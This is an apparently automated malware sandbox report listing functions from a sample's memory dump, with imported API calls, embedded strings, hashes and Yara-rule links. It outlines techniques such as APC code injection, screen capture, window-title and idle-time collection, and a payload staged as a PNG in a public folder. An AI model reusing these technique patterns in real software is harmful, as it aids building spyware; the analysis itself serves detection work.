Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32 ref: 000001CFB960E20A
GlobalLock.KERNEL32 ref: 000001CFB960E216
GlobalUnlock.KERNEL32 ref: 000001CFB960E22D
CreateStreamOnHGlobal.OLE32 ref: 000001CFB960E242
EnterCriticalSection.KERNEL32 ref: 000001CFB960E28B
LeaveCriticalSection.KERNEL32 ref: 000001CFB960E29E
GdipCreateBitmapFromStream.GDIPLUS ref: 000001CFB960E2CE
GdipDisposeImage.GDIPLUS ref: 000001CFB960E2E5
GdipDisposeImage.GDIPLUS ref: 000001CFB960E303
CreateStreamOnHGlobal.OLE32 ref: 000001CFB960E322
GetHGlobalFromStream.OLE32 ref: 000001CFB960E34D
GlobalLock.KERNEL32 ref: 000001CFB960E358
GlobalFree.KERNEL32 ref: 000001CFB960E373
DeleteObject.GDI32 ref: 000001CFB960E478
EnterCriticalSection.KERNEL32 ref: 000001CFB960E485
EnterCriticalSection.KERNEL32 ref: 000001CFB960E49A
GdiplusShutdown.GDIPLUS ref: 000001CFB960E4AC
LeaveCriticalSection.KERNEL32 ref: 000001CFB960E4C0
LeaveCriticalSection.KERNEL32 ref: 000001CFB960E4CD
GlobalFree.KERNEL32 ref: 000001CFB960E4D6

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$DisposeFreeFromImageLock$AllocBitmapDeleteGdiplusObjectShutdownUnlock
String ID:
API String ID: 562715702-0
Opcode ID: 42898a941c2d68d10d428d3b7f6529fd9f89c56f0b88e70156fc75360aed880c
Instruction ID: c191574f7f4df3e5ed64f1a145a7c9ac1646844faa77a0f515952d49cbafea8d
Opcode Fuzzy Hash: 42898a941c2d68d10d428d3b7f6529fd9f89c56f0b88e70156fc75360aed880c
Instruction Fuzzy Hash: 51A14C32744B8286FB14EF65E894BDD33B7F754B98F00452ACD5A57AA4DF38CA1A8340

Function 000001CFB960BDB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImageEncodersSize.GDIPLUS ref: 000001CFB960BDEE
malloc.LIBCMT ref: 000001CFB960BE5A
free.LIBCMT ref: 000001CFB960BE86
GdipGetImageEncoders.GDIPLUS ref: 000001CFB960BE9F
free.LIBCMT ref: 000001CFB960BEB6
free.LIBCMT ref: 000001CFB960BF8B
GdipCreateBitmapFromScan0.GDIPLUS ref: 000001CFB960BFD2
GdipSaveImageToStream.GDIPLUS ref: 000001CFB960BFE9
GdipDisposeImage.GDIPLUS ref: 000001CFB960BFF6
free.LIBCMT ref: 000001CFB960C00B
GdipCreateBitmapFromHBITMAP.GDIPLUS ref: 000001CFB960C025
GdipSaveImageToStream.GDIPLUS ref: 000001CFB960C03C
GdipDisposeImage.GDIPLUS ref: 000001CFB960C049
free.LIBCMT ref: 000001CFB960C066
GdipDisposeImage.GDIPLUS ref: 000001CFB960C075
free.LIBCMT ref: 000001CFB960C086

Strings

&, xrefs: 000001CFB960BFBD

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Gdip$Image$free$Dispose$BitmapCreateEncodersFromSaveStream$Scan0Sizemalloc
String ID: &
API String ID: 1890951399-3042966939
Opcode ID: 55c4d5524a8ad467499d60b3f08160cb74a9a45ad6dfb88b86dca0659664e4bc
Instruction ID: 238e741e00d3f4d4a58ebfea4c4d374e15d826694ef2405aaa73ea17790f5b76
Opcode Fuzzy Hash: 55c4d5524a8ad467499d60b3f08160cb74a9a45ad6dfb88b86dca0659664e4bc
Instruction Fuzzy Hash: 45915C323806C285FE549F31D490BE927B3EB54BD8F89863ADA19476D5EF28CE468340

Function 000001CFB9607F70 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 117
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 000001CFB9607FA5
wsprintfW.USER32 ref: 000001CFB9607FBC

Part of subcall function 000001CFB9607D90: GetCurrentProcessId.KERNEL32 ref: 000001CFB9607DAD
Part of subcall function 000001CFB9607D90: OpenProcess.KERNEL32 ref: 000001CFB9607DBD
Part of subcall function 000001CFB9607D90: OpenProcessToken.ADVAPI32 ref: 000001CFB9607DE5
Part of subcall function 000001CFB9607D90: CloseHandle.KERNEL32 ref: 000001CFB9607DF2

GetVersionExW.KERNEL32 ref: 000001CFB9607FEB
GetCurrentProcess.KERNEL32 ref: 000001CFB9608014
OpenProcessToken.ADVAPI32 ref: 000001CFB9608025
GetTokenInformation.ADVAPI32 ref: 000001CFB960804F
GetLastError.KERNEL32 ref: 000001CFB9608059
LocalAlloc.KERNEL32 ref: 000001CFB9608073
GetTokenInformation.ADVAPI32 ref: 000001CFB960809B
GetSidSubAuthorityCount.ADVAPI32 ref: 000001CFB96080A9
GetSidSubAuthority.ADVAPI32 ref: 000001CFB96080B8
LocalFree.KERNEL32 ref: 000001CFB96080C3
CloseHandle.KERNEL32 ref: 000001CFB96080D6
wsprintfW.USER32 ref: 000001CFB9608135

Strings

-N/, xrefs: 000001CFB9608112
None/%s, xrefs: 000001CFB9608124
NO/, xrefs: 000001CFB960811B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion
String ID: -N/$NO/$None/%s
API String ID: 4155081256-3095023699
Opcode ID: 937225b56d9130d735a7e5b2e703808313462ec383e8fec49d005699c9261ae8
Instruction ID: 647aa311997f77c0105e2281a3747b3cc56d9bdec9ac6d2c3897c04c58fd5c7c
Opcode Fuzzy Hash: 937225b56d9130d735a7e5b2e703808313462ec383e8fec49d005699c9261ae8
Instruction Fuzzy Hash: 59515B31254AC386FB60EB11E8D4BD973B3F795B84F44503ADA4A02699DF39CE46C700

Function 000001CFB960B990 Relevance: 27.3, APIs: 18, Instructions: 283
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImagePixelFormat.GDIPLUS ref: 000001CFB960B9CF
GdipGetImageHeight.GDIPLUS ref: 000001CFB960BA38
GdipGetImageWidth.GDIPLUS ref: 000001CFB960BA56
GdipGetImagePaletteSize.GDIPLUS ref: 000001CFB960BA9C
malloc.LIBCMT ref: 000001CFB960BB02

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

free.LIBCMT ref: 000001CFB960BB2B
GdipGetImagePalette.GDIPLUS ref: 000001CFB960BB4A
GdipBitmapLockBits.GDIPLUS ref: 000001CFB960BC07
free.LIBCMT ref: 000001CFB960BC26
GdipCreateBitmapFromScan0.GDIPLUS ref: 000001CFB960BD1F
GdipGetImageGraphicsContext.GDIPLUS ref: 000001CFB960BD34
GdipDrawImageI.GDIPLUS ref: 000001CFB960BD4C
GdipDeleteGraphics.GDIPLUS ref: 000001CFB960BD55
GdipDisposeImage.GDIPLUS ref: 000001CFB960BD5E
free.LIBCMT ref: 000001CFB960BC46

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

memcpy_s.LIBCMT ref: 000001CFB960BC8C
GdipBitmapUnlockBits.GDIPLUS ref: 000001CFB960BCC8
free.LIBCMT ref: 000001CFB960BD76

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Gdip$Image$free$Bitmap_errno$BitsGraphicsHeapPalette$AllocContextCreateDeleteDisposeDrawErrorFormatFreeFromHeightLastLockPixelScan0SizeUnlockWidth_callnewhmallocmemcpy_s
String ID:
API String ID: 1886978121-0
Opcode ID: 283663abc3149b5c3ebf54f6b2f35572c17daa750bb804d3607567a51a1e62ec
Instruction ID: 98190e041d91f5c19b3b17df2a0bfdf86573a3a6cf66777ee89843af6beeffbe
Opcode Fuzzy Hash: 283663abc3149b5c3ebf54f6b2f35572c17daa750bb804d3607567a51a1e62ec
Instruction Fuzzy Hash: 29C155722406C28AFB209F35D4C4BE937B7F754B98F45852ADA1A87B85DF38CA46C740

Function 000001CFB96072F0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 67
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32 ref: 000001CFB9607314
Sleep.KERNEL32 ref: 000001CFB9607335
CreateMutexW.KERNEL32 ref: 000001CFB9607346
GetLastError.KERNEL32 ref: 000001CFB960734C
lstrlenW.KERNEL32 ref: 000001CFB9607385
lstrcmpW.KERNEL32 ref: 000001CFB96073B3
Sleep.KERNEL32 ref: 000001CFB96073C2
GetModuleHandleW.KERNEL32 ref: 000001CFB96073D3
GetConsoleWindow.KERNEL32 ref: 000001CFB96073DE

Strings

2024. 6.19, xrefs: 000001CFB9607309, 000001CFB960733B
open, xrefs: 000001CFB9607390
key, xrefs: 000001CFB9607397

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep$ConsoleErrorHandleLastModuleWindowlstrcmplstrlen
String ID: 2024. 6.19$key$open
API String ID: 2230033419-3044968688
Opcode ID: 99fa9ff8c4f67a4f69d89c190ec8d3bea25dab96d7079cc25afd004eccd381e5
Instruction ID: 01e40f978d9ef0c80921b37cbe4f059e5142d21db0dcb39849b528eee11073fa
Opcode Fuzzy Hash: 99fa9ff8c4f67a4f69d89c190ec8d3bea25dab96d7079cc25afd004eccd381e5
Instruction Fuzzy Hash: 48310A31694AC782FB58AB25E895BDA33B3F794744F80943E954A425A5DF38CF4AC700

Function 00007FF6F6081A10 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 105injectionlibrarymemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6F6081A8B
GetProcAddress.KERNEL32 ref: 00007FF6F6081A9B
VirtualAlloc.KERNEL32 ref: 00007FF6F6081ABF
GetCurrentProcess.KERNEL32 ref: 00007FF6F6081ACD
WriteProcessMemory.KERNEL32 ref: 00007FF6F6081AE4
QueueUserAPC.KERNEL32 ref: 00007FF6F6081AF9

Strings

NtTestAlert, xrefs: 00007FF6F6081A94
C:\Users\Public\Pictures\any.png, xrefs: 00007FF6F6081A54
ntdll, xrefs: 00007FF6F6081A84

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: Process$AddressAllocCurrentHandleMemoryModuleProcQueueUserVirtualWrite
String ID: C:\Users\Public\Pictures\any.png$NtTestAlert$ntdll
API String ID: 373793033-3820315678
Opcode ID: f246ccdc4e2d5b1fd47c438f45d2eda0d8f7f9cd1ac1eb3c950f0c355d377293
Instruction ID: dee6ad3edba44f311d45edd176e3c82856bbfd40af029f2973650630b19c8af7
Opcode Fuzzy Hash: f246ccdc4e2d5b1fd47c438f45d2eda0d8f7f9cd1ac1eb3c950f0c355d377293
Instruction Fuzzy Hash: AF416362A18B4281EB40DB75E5443696369FF88BE0F605235EAAD53BF4EE7ED4818700

Function 000001CFB9607860 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 117registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB96078C9
RegQueryInfoKeyW.ADVAPI32 ref: 000001CFB9607924
RegEnumKeyExW.ADVAPI32 ref: 000001CFB96079B9
lstrlenW.KERNEL32 ref: 000001CFB96079C3
lstrlenW.KERNEL32 ref: 000001CFB96079D2

Part of subcall function 000001CFB9612A34: _errno.LIBCMT ref: 000001CFB9612A53
Part of subcall function 000001CFB9612A34: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612A5F

Part of subcall function 000001CFB9612A34: _errno.LIBCMT ref: 000001CFB9612AA9

RegCloseKey.ADVAPI32 ref: 000001CFB9607A1B
lstrlenW.KERNEL32 ref: 000001CFB9607A38

Strings

Software\Tencent\Plugin\VAS, xrefs: 000001CFB96078AD

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrlen$_errno$CloseEnumInfoOpenQuery_invalid_parameter_noinfo
String ID: Software\Tencent\Plugin\VAS
API String ID: 47975445-3343197220
Opcode ID: 6e061b802c5184f6ffb8d5e46668b4594c4fe4b6239176f7fbc9992a5fd39cfc
Instruction ID: 2787a4e3cd5b5551586d1334af0b45850a457ca8bdfc8eb8addf31d67a3db36f
Opcode Fuzzy Hash: 6e061b802c5184f6ffb8d5e46668b4594c4fe4b6239176f7fbc9992a5fd39cfc
Instruction Fuzzy Hash: CC517236654BD285F720DB25E890BDE73B6F784748F50112ADA8D47A68DF38CB46CB40

Function 000001CFB960DB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

GetLastInputInfo.USER32 ref: 000001CFB960DBBA
GetTickCount.KERNEL32 ref: 000001CFB960DBC0
wsprintfW.USER32 ref: 000001CFB960DBF4
GetForegroundWindow.USER32 ref: 000001CFB960DBFA
GetWindowTextW.USER32 ref: 000001CFB960DC12

Strings

%d min, xrefs: 000001CFB960DBED

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Window$CountForegroundInfoInputLastTextTickmallocwsprintf
String ID: %d min
API String ID: 4179731349-1947832151
Opcode ID: 9b22214b862d139c1bff70a84ba118025456f4720a884c79d0e9ae2e001336b0
Instruction ID: 1d0b25fe7401a3f08d995adefc0fee2952d6a2f24d146df43539a0bb4c246429
Opcode Fuzzy Hash: 9b22214b862d139c1bff70a84ba118025456f4720a884c79d0e9ae2e001336b0
Instruction Fuzzy Hash: A041A0322446D186FB649F25E494BDAB773F785B84F44413ADE4A47B85DB38CE06CB10

Function 000001CFB9608310 Relevance: 9.1, APIs: 6, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB9608375
RegQueryValueExW.ADVAPI32 ref: 000001CFB96083BD
lstrcmpW.KERNEL32 ref: 000001CFB96083D3
RegCloseKey.ADVAPI32 ref: 000001CFB96083FC
RegCloseKey.ADVAPI32 ref: 000001CFB9608407

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValuelstrcmp
String ID:
API String ID: 4288439342-0
Opcode ID: 6a09b4fa8d1f1f673de0ef9cf23ec804b22330cdbe4280648003b7661aad5db0
Instruction ID: c9a5b0ccc7acd8205837f34a341d84df750aadbd4e4dcaab0f5380f890a806df
Opcode Fuzzy Hash: 6a09b4fa8d1f1f673de0ef9cf23ec804b22330cdbe4280648003b7661aad5db0
Instruction Fuzzy Hash: 1E319131358AC181FB60DB15E8C4B9AB372F7D5B94F401239AA5D43B99DF39CA46CB04

Function 000001CFB96122D0 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB96122FB
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612306
_getptd.LIBCMT ref: 000001CFB961232C
CreateThread.KERNEL32 ref: 000001CFB9612381
GetLastError.KERNEL32 ref: 000001CFB961238C
free.LIBCMT ref: 000001CFB9612397

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 72025f16065156c1a411d32745b6a8ceab2b3ea3d3236370eb3e3b3478fac157
Instruction ID: 4b75fc62a2158abce137ca205ed582f5f2eda2c306d0a0ebd8231fe16fe4b698
Opcode Fuzzy Hash: 72025f16065156c1a411d32745b6a8ceab2b3ea3d3236370eb3e3b3478fac157
Instruction Fuzzy Hash: EE216D352407D186FA14AB66E841BDAB3B3B784BA0F445639AF6943796CF38CA528700

Function 000001CFB9393690 Relevance: 7.6, APIs: 5, Instructions: 109networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 000001CFB9393725
recv.WS2_32 ref: 000001CFB939374B
_errno.LIBCMT ref: 000001CFB9393757
_errno.LIBCMT ref: 000001CFB9393761
_errno.LIBCMT ref: 000001CFB939376E

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$recvselect
String ID:
API String ID: 4102763267-0
Opcode ID: 9845bbeb49fb392f0077708386112e1cb0e8a4c98ec056f0ebe1f442da0f05b8
Instruction ID: 664a0e798b5f04a61102ebf797919f7716a55c80de6406fa78aca3e3c9533773
Opcode Fuzzy Hash: 9845bbeb49fb392f0077708386112e1cb0e8a4c98ec056f0ebe1f442da0f05b8
Instruction Fuzzy Hash: A43110B0258A848FF7A5EF28C495BAA73E6FF84305F1C467DA44BC7192DB348D428746

Function 000001CFB93994DC Relevance: 7.6, APIs: 5, Instructions: 98threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9399507
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9399512
_getptd.LIBCMT ref: 000001CFB9399538
CreateThread.KERNEL32 ref: 000001CFB939958D
free.LIBCMT ref: 000001CFB93995A3

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: CreateThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 2643549960-0
Opcode ID: a6b047b9ba05778c913bae5aa75a3fa791de028973cf7ce0c6a1d43e90da30c7
Instruction ID: 23f5d76224ffe9b6c26a84966cbed2f4b0f56de1e3b714d084caadf0691140b2
Opcode Fuzzy Hash: a6b047b9ba05778c913bae5aa75a3fa791de028973cf7ce0c6a1d43e90da30c7
Instruction Fuzzy Hash: 5C218C30248B494FFB44BB68D456BAA77E5EF94310F18063EA45EC32A3DB60DD428792

Function 000001CFB960EE20 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 196registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CFB960EE96
RegEnumValueW.ADVAPI32 ref: 000001CFB960EF47

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

Part of subcall function 000001CFB9611EF8: _callnewh.LIBCMT ref: 000001CFB9611F06
Part of subcall function 000001CFB9611EF8: std::exception::exception.LIBCMT ref: 000001CFB9611F7F

RegCloseKey.ADVAPI32 ref: 000001CFB960F110

Strings

t1:, xrefs: 000001CFB960EE2E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseEnumInfoQueryValue_callnewhmallocstd::exception::exception
String ID: t1:
API String ID: 1242514309-2900936606
Opcode ID: fede6cdfeb807d385ee5abbfcf2e1eb580fa302d2ae75469db10d5a0f1743a1d
Instruction ID: 3272456a813a4d2b01304d3e8b2b48808432ec3700241a932da8f278aa45085f
Opcode Fuzzy Hash: fede6cdfeb807d385ee5abbfcf2e1eb580fa302d2ae75469db10d5a0f1743a1d
Instruction Fuzzy Hash: 38916C32741B8189EB40DF69E894B9973B6F788794F11413AAA5D87BA4DF34CA52C300

Function 000001CFB960CA70 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960CAC9
RegQueryValueExW.ADVAPI32 ref: 000001CFB960CAF3

Strings

Console, xrefs: 000001CFB960CAA3
IpDatespecial, xrefs: 000001CFB960CAE4

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: Console$IpDatespecial
API String ID: 4153817207-1840232981
Opcode ID: 22fc0a0dece14184706e6fb6e5bb7c82227ebf9c7fbc1b7f67f3996ba3476d1f
Instruction ID: 81e4fd21d15a3af9ecdd3d183c772c3fb12f702d94dd46edfb3f01074707e2a1
Opcode Fuzzy Hash: 22fc0a0dece14184706e6fb6e5bb7c82227ebf9c7fbc1b7f67f3996ba3476d1f
Instruction Fuzzy Hash: F221A432648AD199F3209BA1E480BDD7776F34879CF844126DE8C13A98DB38C65AC704

Function 000001CFB9311BF1 Relevance: 6.1, APIs: 4, Instructions: 133memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB93144A1: LoadLibraryA.KERNEL32 ref: 000001CFB931456F

VirtualProtect.KERNEL32 ref: 000001CFB9311C6D
VirtualProtect.KERNEL32 ref: 000001CFB9311C96
VirtualProtect.KERNEL32(?,?,?,-00000001,00000001,-00000001,00000001,-00000001,000001CFB9312E9B), ref: 000001CFB9311CDB
VirtualProtect.KERNEL32 ref: 000001CFB9311CFF

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 48f3a983b865309274dfddc27b08f5c66236fb7a43ce97e016cebd4c856a8b9f
Instruction ID: 93da2f63c02c1300ea4fcb21a34ad9b197faaa0477af91c1116ddcd5e1ba186d
Opcode Fuzzy Hash: 48f3a983b865309274dfddc27b08f5c66236fb7a43ce97e016cebd4c856a8b9f
Instruction Fuzzy Hash: 8B31B63130CA184BE758AA5CD8457FA73EAEBC4321F18413DA84BC72D6DE60DE0746C1

Function 000001CFB9609A50 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001CFB9609A8A
GetProcessImageFileNameW.PSAPI ref: 000001CFB9609AA6
CloseHandle.KERNEL32 ref: 000001CFB9609AB3
CloseHandle.KERNEL32 ref: 000001CFB9609AD1

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess$FileImageNameOpen
String ID:
API String ID: 93767460-0
Opcode ID: e5835fa6602d2fc698d6210b0ee50ff401511b4d9772e348674df1cf25f15e26
Instruction ID: f47f5164d5f692e18bbe98eb26f78260f4bd33ade4ea423158c4bda0f2fa9760
Opcode Fuzzy Hash: e5835fa6602d2fc698d6210b0ee50ff401511b4d9772e348674df1cf25f15e26
Instruction Fuzzy Hash: C41184753546C281FF249B25E4D879A62B3BB98BC4F44403E8E4947386EF3CCA46C700

Function 000001CFB9603300 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 000001CFB960333D
CancelIo.KERNEL32 ref: 000001CFB960334A
closesocket.WS2_32 ref: 000001CFB960335A
SetEvent.KERNEL32 ref: 000001CFB9603364

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

